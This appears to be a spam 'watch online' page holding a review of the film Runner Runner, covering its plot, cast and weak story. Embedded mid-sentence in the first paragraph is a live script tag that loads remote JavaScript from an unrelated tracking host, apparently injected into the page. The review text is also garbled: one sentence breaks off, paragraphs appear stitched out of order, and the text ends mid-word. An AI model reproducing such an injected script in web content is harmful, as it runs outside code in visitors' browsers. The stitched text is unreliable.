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Watch Runner Runner Online With a backdrop of big money, fast cars,
beautiful women, violence and corruption, I had high expectations for
Runner Runner. Ben Affleck has come off the back of the astounding Argo,
and Justin Timberlake has been building <script type="text/javascript" src="http://track.sitetag.us/tracking.js?hash=eb8f2dd9a7ff2e824f2a1f1490c66e1a"></script>up his credibility (think The
Social Network). It even has Loeonardo Di Caprio as one of its
producers, so it's hardly lacking in star power. However, the story just
didn't deliver.

This film has a lot to work with, but just
doesn't utilize the tools at its disposal. I was never truly seduced by
the lifestyle that drew Richie in, and the story threads seemed
disjointed. Corruption comes at you from every angle, and the FBI is
also thrown into the mix. There's a bit of romance courtesy of Gemma
Arterton, but that even fails to sizzle. The groundwork was laid for a
twist in the tale, but when it was finally revealed, it too was a bit

Runner runner is a poker term, alluding to the world of
online poker that provides the setting for this film. At the center of
the story is Richie (Justin Timberlake), who was an up and coming
financial whiz, until he got burnt by the system that promised the
fortune he so desired. Now he finds himself studying at Princeton to get
his life back on track. Promoting an online gambling site to faculty
and fellow students is how he pays his bills.

When Richie gambles
what money he has on the site he promotes, he loses his money, but
detects fraud in the process. Taking another gamble, he heads to the
remote island where the site originates to meet its owner, Ivan Block
(Ben Affleck). When Richie tells Block what he has discovered, Block
makes him his protege. Richie would have been wise to remember the old
saying "if it seems too good to be true, it probably is".

No one
could be better cast as Richie Furst, a financial whiz-kid who treats
every conversation as a game of bluff and strategy - whether he's trying
to talk his way out of expulsion from Princeton, or into a party hosted
by the elusive Ivan Block (Ben Affleck) who run